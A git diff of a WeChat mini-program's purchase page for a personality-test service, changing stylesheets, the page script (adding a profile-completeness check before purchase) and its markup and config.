+.fee-value { + font-size: 26rpx; + color: #6b7280; +} + +.balance-block { + display: flex; + flex-direction: column; + align-items: flex-end; +} + +.balance-label { + font-size: 22rpx; + color: #9ca3af; +} + +.balance-value { + margin-top: 4rpx; + font-size: 26rpx; + color: #111827; +} + +.time-block { + margin-top: 16rpx; + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.time-row { + font-size: 22rpx; + color: #6b7280; +} + +.reject-box { + margin-top: 16rpx; + padding: 16rpx; + border-radius: 12rpx; + background: #fef2f2; +} + +.reject-title { + font-size: 24rpx; + font-weight: 600; + color: #b91c1c; +} + +.reject-text { + font-size: 24rpx; + color: #b91c1c; +} + +.item-bottom { + margin-top: 10rpx; +} + +.note { + font-size: 24rpx; + color: #6b7280; +} + +.footer { + padding: 16rpx 0; + text-align: center; +} + +.footer-text { + font-size: 24rpx; + color: #9ca3af; +} + +.confirm-wrapper { + margin-top: 20rpx; + padding: 0 8rpx 4rpx; +} + +.confirm-btn { + width: 100%; + height: 80rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 10rpx 18rpx rgba(255, 107, 138, 0.35); + border: none; + display: flex; + align-items: center; + justify-content: center; + padding: 0; +} + +.confirm-btn[disabled] { + opacity: 0.7; + box-shadow: none; +} + +.safe-bottom { + height: calc(32rpx + env(safe-area-inset-bottom)); +} + diff --git a/miniprogram/pages/purchase/index.js b/miniprogram/pages/purchase/index.js index f0ea413..bfbf23b 100644 --- a/miniprogram/pages/purchase/index.js +++ b/miniprogram/pages/purchase/index.js @@ -1,245 +1,247 @@ -// pages/purchase/index.js - 开通会员(深度服务价格:个人/企业区分,类目由后端配置可新增) -const app = getApp() -const payment = require('../../utils/payment') -const { hasPhone, bindPhoneByCode } = require('../../utils/phoneAuth.js') - -Page({ - data: { - activeTab: 'personal', - personalCategories: [], - enterpriseCategories: [], - loading: true, - purchasing: false, - hasPhone: false, - successModal: { - visible: false, - title: '', - content: '', - wechat: '' - } - }, - - onLoad(options) { - const tab = (options && options.tab === 'enterprise') ? 'enterprise' : 'personal' - this.setData({ activeTab: tab }) - wx.setNavigationBarTitle({ title: tab === 'enterprise' ? '开通企业版' : '开通个人版' }) - this.loadDeepPricing() - }, - - onShow() { - this.setData({ hasPhone: hasPhone() }) - }, - - loadDeepPricing() { - const apiBase = app.globalData.apiBase || '' - if (!apiBase) { - this.setData({ loading: false }) - return - } - this.setData({ loading: true }) - Promise.all([ - this.requestDeepPricing('personal'), - this.requestDeepPricing('enterprise') - ]).then(([personal, enterprise]) => { - this.setData({ - personalCategories: personal || [], - enterpriseCategories: enterprise || [], - loading: false - }) - }).catch(() => { - this.setData({ loading: false }) - }) - }, - - requestDeepPricing(scope) { - return new Promise((resolve) => { - wx.request({ - url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/config/deep-pricing`, - method: 'GET', - data: { scope }, - success: (res) => { - if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.categories)) { - resolve(res.data.data.categories) - } else { - resolve([]) - } - }, - fail: () => resolve([]) - }) - }) - }, - - switchTab(e) { - const tab = e.currentTarget.dataset.tab - this.setData({ activeTab: tab }) - }, - - // 无需再次授权时,直接点击按钮执行购买/咨询 - handlePurchaseTap(e) { - const tab = e.currentTarget.dataset.tab - const index = e.currentTarget.dataset.index - this.handlePurchase(tab, index) - }, - - // 实际执行购买/咨询逻辑(不强制完善资料) - handlePurchase(tab, index) { - if (index === undefined || index === null) return - const list = tab === 'enterprise' ? this.data.enterpriseCategories : this.data.personalCategories - const category = list[index] - if (!category) return - - if (category.actionType === 'buy' && category.productKey) { - this.purchasePersonal(category) - } else { - this.applyConsult(category) - } - }, - - // 购买/企业咨询按钮:就地触发微信系统手机号授权,然后执行 handlePurchase - onGetPhoneNumberForPurchase(e) { - const tab = e.currentTarget.dataset.tab - const index = e.currentTarget.dataset.index - const { code, errMsg } = e.detail || {} - - if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { - if (!hasPhone()) { - wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) - return - } - // 用户拒绝但之前已授权过,本地已有手机号,则直接继续 - this.handlePurchase(tab, index) - return - } - - if (!code) { - if (hasPhone()) { - this.handlePurchase(tab, index) - } else { - wx.showToast({ title: '获取手机号失败', icon: 'none' }) - } - return - } - - bindPhoneByCode(code) - .then(() => { - this.setData({ hasPhone: true }) - this.handlePurchase(tab, index) - }) - .catch(() => { - // 失败时只提示,不阻塞后续再次点击 - }) - }, - - purchasePersonal(category) { - if (this.data.purchasing) return - this.setData({ purchasing: true }) - wx.showLoading({ title: '处理中...', mask: true }) - const deepProductId = category.id || category.productKey || '' - const title = category.title || '个人深度服务(1v1深度解读)' - payment.purchasePersonalDeepService({ - deepProductId, - description: title, - success: () => { - wx.hideLoading() - this.setData({ purchasing: false }) - this._reportCrmLead(category, 'buy') - const successMsg = (category.successMessage || '购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。').trim() - const wechat = (category.serviceWechat || '').trim() - this._showSuccessModal('购买成功', successMsg, wechat) - }, - fail: () => { - wx.hideLoading() - this.setData({ purchasing: false }) - } - }) - }, - - applyConsult(category) { - // serviceWechat 展示给用户,consultWechat 是存客宝 API key - const wechat = (category.serviceWechat || '').trim() - const apiKey = (category.consultWechat || '').trim() - const successMsg = (category.successMessage || '感谢您的申请,我们的顾问会尽快与您联系!').trim() - wx.showLoading({ title: '提交中...', mask: true }) - if (apiKey) { - this._reportCrmLead(category, 'consult') - } - setTimeout(() => { - wx.hideLoading() - this._showSuccessModal('申请成功', successMsg, wechat) - }, 600) - }, - - _showSuccessModal(title, content, wechat) { - this.setData({ - successModal: { - visible: true, - title: title || '成功', - content: content || '', - wechat: wechat || '' - } - }) - }, - - closeSuccessModal() { - this.setData({ 'successModal.visible': false }) - }, - - copyWechat() { - const wechat = this.data.successModal.wechat - if (!wechat) return - wx.setClipboardData({ - data: wechat, - success: () => wx.showToast({ title: '已复制微信号', icon: 'success' }) - }) - }, - - /** - * 向后端上报存客宝线索,后端负责签名和调用存客宝 API - * @param {Object} category 深度服务类目对象(需含 consultWechat / title) - * @param {string} actionType 'buy'(付款完成)| 'consult'(申请咨询) - */ - _reportCrmLead(category, actionType) { - const apiKey = category.consultWechat || '' - if (!apiKey) return - const apiBase = app.globalData.apiBase || '' - if (!apiBase) return - - const isEnterprise = this.data.activeTab === 'enterprise' - const source = (isEnterprise ? '企业深度服务' : '个人深度服务') + (category.title ? `-${category.title}` : '') - const remark = actionType === 'buy' ? '完成付款' : '申请咨询' - - wx.request({ - url: `${apiBase.replace(/\/$/, '')}/api/crm/report`, - method: 'POST', - header: { - Authorization: `Bearer ${wx.getStorageSync('token') || ''}`, - 'Content-Type': 'application/json', - }, - data: { - apiKey, - source, - remark, - siteTags: category.title || '', - }, - success(res) { - console.log('[CRM] 线索上报结果', res.data) - }, - fail(err) { - console.warn('[CRM] 线索上报请求失败', err) - }, - }) - }, - - onShareAppMessage() { - const { getSharePath } = require('../../utils/share') - return { title: '神仙团队AI性格测试 - 发现你的内在潜能', path: getSharePath('/pages/purchase/index') } - }, - - onShareTimeline() { - const { buildShareQuery } = require('../../utils/share') - return { - title: '神仙团队AI性格测试 - 发现你的内在潜能', - query: buildShareQuery() - } - } -}) +// pages/purchase/index.js - 开通会员(深度服务价格:个人/企业区分,类目由后端配置可新增) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + activeTab: 'personal', + personalCategories: [], + enterpriseCategories: [], + loading: true, + purchasing: false, + hasPhone: false, + successModal: { + visible: false, + title: '', + content: '', + wechat: '' + } + }, + + onLoad(options) { + const tab = (options && options.tab === 'enterprise') ? 'enterprise' : 'personal' + this.setData({ activeTab: tab }) + wx.setNavigationBarTitle({ title: tab === 'enterprise' ? '开通企业版' : '开通个人版' }) + this.loadDeepPricing() + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDeepPricing() { + const apiBase = app.globalData.apiBase || '' + if (!apiBase) { + this.setData({ loading: false }) + return + } + this.setData({ loading: true }) + Promise.all([ + this.requestDeepPricing('personal'), + this.requestDeepPricing('enterprise') + ]).then(([personal, enterprise]) => { + this.setData({ + personalCategories: personal || [], + enterpriseCategories: enterprise || [], + loading: false + }) + }).catch(() => { + this.setData({ loading: false }) + }) + }, + + requestDeepPricing(scope) { + return new Promise((resolve) => { + wx.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/config/deep-pricing`, + method: 'GET', + data: { scope }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.categories)) { + resolve(res.data.data.categories) + } else { + resolve([]) + } + }, + fail: () => resolve([]) + }) + }) + }, + + switchTab(e) { + const tab = e.currentTarget.dataset.tab + this.setData({ activeTab: tab }) + }, + + // 无需再次授权时,直接点击按钮执行购买/咨询 + handlePurchaseTap(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + this.handlePurchase(tab, index) + }, + + // 实际执行购买/咨询逻辑(已确保有手机号) + handlePurchase(tab, index) { + if (!ensureProfileCompleteAndRedirect()) return + if (index === undefined || index === null) return + const list = tab === 'enterprise' ? this.data.enterpriseCategories : this.data.personalCategories + const category = list[index] + if (!category) return + + if (category.actionType === 'buy' && category.productKey) { + this.purchasePersonal(category) + } else { + this.applyConsult(category) + } + }, + + // 购买/企业咨询按钮:就地触发微信系统手机号授权,然后执行 handlePurchase + onGetPhoneNumberForPurchase(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + const { code, errMsg } = e.detail || {} + + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + // 用户拒绝但之前已授权过,本地已有手机号,则直接继续 + this.handlePurchase(tab, index) + return + } + + if (!code) { + if (hasPhone()) { + this.handlePurchase(tab, index) + } else { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.handlePurchase(tab, index) + }) + .catch(() => { + // 失败时只提示,不阻塞后续再次点击 + }) + }, + + purchasePersonal(category) { + if (this.data.purchasing) return + this.setData({ purchasing: true }) + wx.showLoading({ title: '处理中...', mask: true }) + const deepProductId = category.id || category.productKey || '' + const title = category.title || '个人深度服务(1v1深度解读)' + payment.purchasePersonalDeepService({ + deepProductId, + description: title, + success: () => { + wx.hideLoading() + this.setData({ purchasing: false }) + this._reportCrmLead(category, 'buy') + const successMsg = (category.successMessage || '购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。').trim() + const wechat = (category.serviceWechat || '').trim() + this._showSuccessModal('购买成功', successMsg, wechat) + }, + fail: () => { + wx.hideLoading() + this.setData({ purchasing: false }) + } + }) + }, + + applyConsult(category) { + // serviceWechat 展示给用户,consultWechat 是存客宝 API key + const wechat = (category.serviceWechat || '').trim() + const apiKey = (category.consultWechat || '').trim() + const successMsg = (category.successMessage || '感谢您的申请,我们的顾问会尽快与您联系!').trim() + wx.showLoading({ title: '提交中...', mask: true }) + if (apiKey) { + this._reportCrmLead(category, 'consult') + } + setTimeout(() => { + wx.hideLoading() + this._showSuccessModal('申请成功', successMsg, wechat) + }, 600) + }, + + _showSuccessModal(title, content, wechat) { + this.setData({ + successModal: { + visible: true, + title: title || '成功', + content: content || '', + wechat: wechat || '' + } + }) + }, + + closeSuccessModal() { + this.setData({ 'successModal.visible': false }) + }, + + copyWechat() { + const wechat = this.data.successModal.wechat + if (!wechat) return + wx.setClipboardData({ + data: wechat, + success: () => wx.showToast({ title: '已复制微信号', icon: 'success' }) + }) + }, + + /** + * 向后端上报存客宝线索,后端负责签名和调用存客宝 API + * @param {Object} category 深度服务类目对象(需含 consultWechat / title) + * @param {string} actionType 'buy'(付款完成)| 'consult'(申请咨询) + */ + _reportCrmLead(category, actionType) { + const apiKey = category.consultWechat || '' + if (!apiKey) return + const apiBase = app.globalData.apiBase || '' + if (!apiBase) return + + const isEnterprise = this.data.activeTab === 'enterprise' + const source = (isEnterprise ? '企业深度服务' : '个人深度服务') + (category.title ? `-${category.title}` : '') + const remark = actionType === 'buy' ? '完成付款' : '申请咨询' + + wx.request({ + url: `${apiBase.replace(/\/$/, '')}/api/crm/report`, + method: 'POST', + header: { + Authorization: `Bearer ${wx.getStorageSync('token') || ''}`, + 'Content-Type': 'application/json', + }, + data: { + apiKey, + source, + remark, + siteTags: category.title || '', + }, + success(res) { + console.log('[CRM] 线索上报结果', res.data) + }, + fail(err) { + console.warn('[CRM] 线索上报请求失败', err) + }, + }) + }, + + onShareAppMessage() { + const { getSharePath } = require('../../utils/share') + return { title: '神仙团队性格测试 - 发现你的内在潜能', path: getSharePath('/pages/purchase/index') } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/purchase/index.json b/miniprogram/pages/purchase/index.json index de2823c..ad2e595 100644 --- a/miniprogram/pages/purchase/index.json +++ b/miniprogram/pages/purchase/index.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "开通会员", - "navigationBarBackgroundColor": "#FFFFFF", - "navigationBarTextStyle": "black", - "usingComponents": {} -} +{ + "navigationBarTitleText": "开通会员", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/purchase/index.wxml b/miniprogram/pages/purchase/index.wxml index 0a4868c..ed90bd5 100644 --- a/miniprogram/pages/purchase/index.wxml +++ b/miniprogram/pages/purchase/index.wxml @@ -1,135 +1,135 @@ - - - - - - - - - - - {{successModal.title}} - {{successModal.content}} - - 客服微信 - {{successModal.wechat}} - - - - - - - - - - - - 加载中... - - - - - - - {{item.title}} - - ¥ - {{item.price}} - {{item.priceUnit || '/次'}} - - {{item.subtitle}} - - - - - {{f}} - - - - - - - - - 暂无可用的个人版套餐 - - - - - - - - - {{item.title}} - {{item.subtitle}} - - - {{item.priceDisplay || '¥' + item.price}} - {{item.userLimit}} - - - - - - {{f}} - - - - - - - - - 暂无可用的企业版套餐 - - - - - - 🔒 - 微信安全支付 - - - - 即时到账开通 - - - 📞 - 7×24客服 - - - + + + + + + + + + + + {{successModal.title}} + {{successModal.content}} + + 客服微信 + {{successModal.wechat}} + + + + + + + + + + + + 加载中... + + + + + + + {{item.title}} + + ¥ + {{item.price}} + {{item.priceUnit || '/次'}} + + {{item.subtitle}} + + + + + {{f}} + + + + + + + + + 暂无可用的个人版套餐 + + + + + + + + + {{item.title}} + {{item.subtitle}} + + + {{item.priceDisplay || '¥' + item.price}} + {{item.userLimit}} + + + + + + {{f}} + + + + + + + + + 暂无可用的企业版套餐 + + + + + + 🔒 + 微信安全支付 + + + + 即时到账开通 + + + 📞 + 7×24客服 + + + diff --git a/miniprogram/pages/purchase/index.wxss b/miniprogram/pages/purchase/index.wxss index 683da97..e6cbdd2 100644 --- a/miniprogram/pages/purchase/index.wxss +++ b/miniprogram/pages/purchase/index.wxss @@ -1,789 +1,789 @@ -/* pages/purchase/index.wxss - 按旧版模板重构 */ - -/* ── 成功弹窗 ── */ -.success-mask { - position: fixed; - top: 0; left: 0; right: 0; bottom: 0; - background: rgba(0, 0, 0, 0.5); - z-index: 999; - display: flex; - align-items: center; - justify-content: center; -} - -.success-dialog { - width: 600rpx; - background: #fff; - border-radius: 24rpx; - padding: 56rpx 40rpx 40rpx; - display: flex; - flex-direction: column; - align-items: center; -} - -.success-icon-wrap { - margin-bottom: 32rpx; -} - -.success-icon-circle { - width: 120rpx; - height: 120rpx; - border-radius: 50%; - background: linear-gradient(135deg, #22c55e, #16a34a); - display: flex; - align-items: center; - justify-content: center; - box-shadow: 0 8rpx 24rpx rgba(34, 197, 94, 0.35); -} - -.success-icon-check { - font-size: 56rpx; - color: #fff; - font-weight: bold; - line-height: 1; -} - -.success-dialog-title { - font-size: 40rpx; - font-weight: bold; - color: #1a1a1a; - margin-bottom: 20rpx; -} - -.success-dialog-content { - font-size: 28rpx; - color: #555; - text-align: center; - line-height: 1.7; - margin-bottom: 32rpx; -} - -.success-wechat-wrap { - width: 100%; - background: #f5f5f5; - border-radius: 12rpx; - padding: 20rpx 24rpx; - margin-bottom: 32rpx; - display: flex; - align-items: center; - gap: 16rpx; -} - -.success-wechat-label { - font-size: 24rpx; - color: #999; - flex-shrink: 0; -} - -.success-wechat-val { - font-size: 28rpx; - color: #333; - font-weight: 500; - flex: 1; - word-break: break-all; -} - -.success-dialog-btns { - width: 100%; - display: flex; - flex-direction: row; - gap: 16rpx; -} - -.success-btn-copy { - flex: 1; - background: #2563eb; - color: #fff; - font-size: 28rpx; - font-weight: 500; - padding: 24rpx 0; - border-radius: 12rpx; - border: none; -} - -.success-btn-close { - flex: 1; - background: #f5f5f5; - color: #333; - font-size: 28rpx; - padding: 24rpx 0; - border-radius: 12rpx; - border: none; -} - - -.container { - width: 100vw; - min-height: 100vh; - background-color: #f5f5f5; - padding-bottom: 160rpx; -} - -/* 用户权益状态 */ -.status-card { - display: flex; - align-items: center; - padding: 40rpx; - margin: 24rpx; - background: #fff; - border-radius: 16rpx; - box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); -} - -.status-card.vip { - background: linear-gradient(135deg, #faf5ff 0%, #f3e8ff 100%); - border: 2rpx solid #9333ea; -} - -.status-icon { - font-size: 48rpx; - margin-right: 20rpx; -} - -.status-info { - flex: 1; -} - -.status-title { - display: block; - font-size: 32rpx; - font-weight: bold; - color: #333; -} - -.status-desc { - display: block; - font-size: 24rpx; - color: #666; - margin-top: 4rpx; -} - -.test-count { - text-align: center; -} - -.count-num { - display: block; - font-size: 40rpx; - font-weight: bold; - color: #9333ea; -} - -.count-label { - display: block; - font-size: 22rpx; - color: #999; -} - -/* 区块 */ -.section { - margin: 24rpx; -} - -.section-title { - display: block; - font-size: 34rpx; - font-weight: bold; - color: #333; - margin-bottom: 8rpx; -} - -.section-subtitle { - display: block; - font-size: 24rpx; - color: #999; - margin-bottom: 24rpx; -} - -/* Tabs 区域 */ -.tabs-container { - background-color: #fff; - padding: 24rpx 32rpx; - margin: 24rpx; - border-radius: 16rpx; -} - -.tabs-list { - display: flex; - background-color: #f5f5f5; - border-radius: 12rpx; - padding: 8rpx; -} - -.tab-item { - flex: 1; - display: flex; - align-items: center; - justify-content: center; - padding: 16rpx 24rpx; - border-radius: 8rpx; - transition: all 0.3s; -} - -.tab-item.active { - background-color: #fff; -} - -.tab-icon { - font-size: 32rpx; - margin-right: 8rpx; -} - -.tab-text { - font-size: 28rpx; - color: #666; -} - -.tab-item.active .tab-text { - color: #333; - font-weight: 500; -} - -.loading-wrap { - padding: 80rpx; - text-align: center; -} - -.loading-text { - font-size: 28rpx; - color: #999; -} - -.empty-tip { - padding: 60rpx 24rpx; - text-align: center; - font-size: 28rpx; - color: #999; -} - -/* 定价卡片(已去除个人版/企业版彩色边框,统一灰色细边) */ -.pricing-card { - background-color: #fff; - border-radius: 16rpx; - padding: 40rpx; - margin-bottom: 24rpx; - border: 2rpx solid #e5e5e5; -} - -.pricing-card.featured, -.pricing-card.featured-blue { - border-color: #e5e5e5; - border-width: 2rpx; -} - -/* 企业版 header flex 布局 */ -.card-header-flex { - display: flex; - justify-content: space-between; - align-items: flex-start; - margin-bottom: 32rpx; -} - -.header-left { - flex: 1; -} - -.plan-title-sm { - font-size: 36rpx; - font-weight: bold; - color: #333; - display: block; - margin-bottom: 8rpx; -} - -.plan-desc { - font-size: 24rpx; - color: #666; - display: block; -} - -.header-right { - text-align: right; -} - -.price-amount-small { - font-size: 40rpx; - font-weight: bold; - color: #333; - display: block; - margin-bottom: 4rpx; -} - -.price-limit { - font-size: 22rpx; - color: #999; - display: block; -} - -.check-icon.blue { - background-color: #2563eb; -} - -.purchase-button.secondary { - background-color: #2563eb; -} - -.card-header { - text-align: center; - margin-bottom: 32rpx; -} - -.plan-title { - font-size: 40rpx; - font-weight: bold; - color: #333; - display: block; - margin-bottom: 20rpx; -} - -.price-section { - display: flex; - align-items: baseline; - justify-content: center; - margin-bottom: 16rpx; -} - -.price-symbol { - font-size: 40rpx; - color: #333; - font-weight: bold; -} - -.price-amount { - font-size: 72rpx; - font-weight: bold; - color: #333; - margin: 0 8rpx; -} - -.price-unit { - font-size: 28rpx; - color: #666; -} - -.plan-subtitle { - font-size: 26rpx; - color: #666; - display: block; -} - -/* 功能列表 */ -.features-list { - margin-bottom: 32rpx; -} - -.feature-item { - display: flex; - align-items: flex-start; - margin-bottom: 20rpx; -} - -.feature-item:last-child { - margin-bottom: 0; -} - -.check-icon { - width: 32rpx; - height: 32rpx; - border-radius: 50%; - background-color: #22c55e; - color: #fff; - font-size: 20rpx; - display: flex; - align-items: center; - justify-content: center; - margin-right: 16rpx; - flex-shrink: 0; - text-align: center; -} - -.feature-text { - flex: 1; - font-size: 26rpx; - color: #666; - line-height: 1.6; -} - -/* 购买按钮 */ -.purchase-button { - width: 100%; - padding: 28rpx; - border-radius: 12rpx; - text-align: center; - box-sizing: border-box; -} - -.purchase-button.primary { - background-color: #9333ea; -} - -.purchase-button .button-text { - font-size: 32rpx; - color: #fff; - font-weight: 500; -} - -/* 分润机制 */ -.commission-section { - background-color: #f9fafb; - border-radius: 16rpx; - padding: 32rpx; - margin: 24rpx; -} - -.commission-header { - display: flex; - align-items: center; - margin-bottom: 24rpx; -} - -.commission-icon { - font-size: 32rpx; - margin-right: 12rpx; -} - -.commission-title { - font-size: 32rpx; - font-weight: 500; - color: #333; -} - -.commission-list { - display: flex; - flex-direction: column; - gap: 16rpx; -} - -.commission-item { - display: flex; - justify-content: space-between; - align-items: center; -} - -.commission-label { - font-size: 26rpx; - color: #666; -} - -.commission-value { - font-size: 28rpx; - font-weight: 500; - color: #333; -} - -/* VIP套餐网格 */ -.vip-cards { - display: grid; - grid-template-columns: repeat(2, 1fr); - gap: 16rpx; - margin-bottom: 32rpx; -} - -.vip-card { - position: relative; - background: #fff; - border: 2rpx solid #e5e5e5; - border-radius: 16rpx; - padding: 24rpx; - text-align: center; -} - -.vip-card.selected { - border-color: #9333ea; - background: #faf5ff; -} - -.vip-card.hot { - border-color: #f59e0b; -} - -.vip-tag { - position: absolute; - top: 8rpx; - right: 8rpx; - background: #9333ea; - color: #fff; - font-size: 18rpx; - padding: 4rpx 12rpx; - border-radius: 8rpx; -} - -.vip-hot-tag, -.vip-best-tag { - position: absolute; - top: -2rpx; - left: 50%; - transform: translateX(-50%); - background: #f59e0b; - color: #fff; - font-size: 18rpx; - padding: 4rpx 16rpx; - border-radius: 0 0 8rpx 8rpx; -} - -.vip-best-tag { - background: #ef4444; -} - -.vip-name { - display: block; - font-size: 26rpx; - color: #333; - font-weight: 500; - margin-top: 16rpx; - margin-bottom: 12rpx; -} - -.vip-price { - display: flex; - align-items: baseline; - justify-content: center; - margin-bottom: 8rpx; -} - -.vip-price .price-symbol { - font-size: 28rpx; - color: #333; -} - -.vip-price .price-num { - font-size: 48rpx; - font-weight: bold; - color: #333; -} - -.vip-original { - display: block; - font-size: 22rpx; - color: #999; - text-decoration: line-through; -} - -.vip-avg { - display: block; - font-size: 22rpx; - color: #9333ea; - margin-top: 4rpx; -} - -/* 次数包 */ -.count-cards { - display: flex; - gap: 16rpx; -} - -.count-card { - flex: 1; - position: relative; - background: #fff; - border: 2rpx solid #e5e5e5; - border-radius: 16rpx; - padding: 24rpx 16rpx; - text-align: center; -} - -.count-card.selected { - border-color: #9333ea; - background: #faf5ff; -} - -.count-save { - position: absolute; - top: -2rpx; - right: -2rpx; - background: #ef4444; - color: #fff; - font-size: 18rpx; - padding: 4rpx 12rpx; - border-radius: 0 8rpx 0 8rpx; -} - -.count-num-big { - font-size: 48rpx; - font-weight: bold; - color: #333; -} - -.count-unit { - font-size: 24rpx; - color: #999; - display: block; - margin-bottom: 12rpx; -} - -.count-price { - display: flex; - align-items: baseline; - justify-content: center; -} - -.count-price .price-symbol { - font-size: 24rpx; - color: #333; -} - -.count-price .price-num { - font-size: 36rpx; - font-weight: bold; - color: #333; -} - -/* 单次购买 */ -.single-list { - display: flex; - flex-direction: column; - gap: 16rpx; -} - -.single-item { - display: flex; - align-items: center; - background: #fff; - border-radius: 16rpx; - padding: 24rpx; - border: 2rpx solid #e5e5e5; -} - -.single-icon { - font-size: 36rpx; - margin-right: 16rpx; -} - -.single-info { - flex: 1; -} - -.single-name { - display: block; - font-size: 28rpx; - font-weight: 500; - color: #333; -} - -.single-desc { - display: block; - font-size: 22rpx; - color: #999; - margin-top: 4rpx; -} - -.single-price { - text-align: center; -} - -.single-price .price-num { - display: block; - font-size: 28rpx; - font-weight: bold; - color: #9333ea; -} - -.price-action { - display: block; - font-size: 22rpx; - color: #9333ea; -} - -/* 底部安全提示 */ -.safety-tips { - display: flex; - justify-content: center; - gap: 32rpx; - padding: 24rpx; - margin: 24rpx; -} - -.safety-item { - display: flex; - align-items: center; - gap: 8rpx; -} - -.safety-icon { - font-size: 24rpx; -} - -.safety-text { - font-size: 22rpx; - color: #999; -} - -.privileges { - background: #fff; - border-radius: 16rpx; - padding: 32rpx; -} - -.privilege-list { - display: flex; - flex-direction: column; - gap: 16rpx; -} - -.privilege-item { - display: flex; - align-items: center; - gap: 12rpx; -} - -.privilege-icon { - font-size: 28rpx; -} - -.privilege-text { - font-size: 26rpx; - color: #333; -} - -.bottom-placeholder { - height: 160rpx; -} - -/* 底部购买栏 */ -.bottom-bar { - position: fixed; - bottom: 0; - left: 0; - right: 0; - background: #fff; - display: flex; - align-items: center; - padding: 24rpx 32rpx; - padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); - box-shadow: 0 -2rpx 12rpx rgba(0, 0, 0, 0.06); - z-index: 100; -} - -.price-info { - flex: 1; - display: flex; - align-items: baseline; -} - -.total-label { - font-size: 28rpx; - color: #666; -} - -.total-price { - font-size: 40rpx; - font-weight: bold; - color: #e63946; -} - -.buy-btn { - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - padding: 24rpx 48rpx; - border-radius: 48rpx; - box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); -} - -.buy-btn.disabled { - opacity: 0.6; -} - -.buy-btn-text { - font-size: 30rpx; - font-weight: 600; - color: #fff; -} +/* pages/purchase/index.wxss - 按旧版模板重构 */ + +/* ── 成功弹窗 ── */ +.success-mask { + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + background: rgba(0, 0, 0, 0.5); + z-index: 999; + display: flex; + align-items: center; + justify-content: center; +} + +.success-dialog { + width: 600rpx; + background: #fff; + border-radius: 24rpx; + padding: 56rpx 40rpx 40rpx; + display: flex; + flex-direction: column; + align-items: center; +} + +.success-icon-wrap { + margin-bottom: 32rpx; +} + +.success-icon-circle { + width: 120rpx; + height: 120rpx; + border-radius: 50%; + background: linear-gradient(135deg, #22c55e, #16a34a); + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(34, 197, 94, 0.35); +} + +.success-icon-check { + font-size: 56rpx; + color: #fff; + font-weight: bold; + line-height: 1; +} + +.success-dialog-title { + font-size: 40rpx; + font-weight: bold; + color: #1a1a1a; + margin-bottom: 20rpx; +} + +.success-dialog-content { + font-size: 28rpx; + color: #555; + text-align: center; + line-height: 1.7; + margin-bottom: 32rpx; +} + +.success-wechat-wrap { + width: 100%; + background: #f5f5f5; + border-radius: 12rpx; + padding: 20rpx 24rpx; + margin-bottom: 32rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.success-wechat-label { + font-size: 24rpx; + color: #999; + flex-shrink: 0; +} + +.success-wechat-val { + font-size: 28rpx; + color: #333; + font-weight: 500; + flex: 1; + word-break: break-all; +} + +.success-dialog-btns { + width: 100%; + display: flex; + flex-direction: row; + gap: 16rpx; +} + +.success-btn-copy { + flex: 1; + background: #2563eb; + color: #fff; + font-size: 28rpx; + font-weight: 500; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + +.success-btn-close { + flex: 1; + background: #f5f5f5; + color: #333; + font-size: 28rpx; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + + +.container { + width: 100vw; + min-height: 100vh; + background-color: #f5f5f5; + padding-bottom: 160rpx; +} + +/* 用户权益状态 */ +.status-card { + display: flex; + align-items: center; + padding: 40rpx; + margin: 24rpx; + background: #fff; + border-radius: 16rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +.status-card.vip { + background: linear-gradient(135deg, #faf5ff 0%, #f3e8ff 100%); + border: 2rpx solid #9333ea; +} + +.status-icon { + font-size: 48rpx; + margin-right: 20rpx; +} + +.status-info { + flex: 1; +} + +.status-title { + display: block; + font-size: 32rpx; + font-weight: bold; + color: #333; +} + +.status-desc { + display: block; + font-size: 24rpx; + color: #666; + margin-top: 4rpx; +} + +.test-count { + text-align: center; +} + +.count-num { + display: block; + font-size: 40rpx; + font-weight: bold; + color: #9333ea; +} + +.count-label { + display: block; + font-size: 22rpx; + color: #999; +} + +/* 区块 */ +.section { + margin: 24rpx; +} + +.section-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 8rpx; +} + +.section-subtitle { + display: block; + font-size: 24rpx; + color: #999; + margin-bottom: 24rpx; +} + +/* Tabs 区域 */ +.tabs-container { + background-color: #fff; + 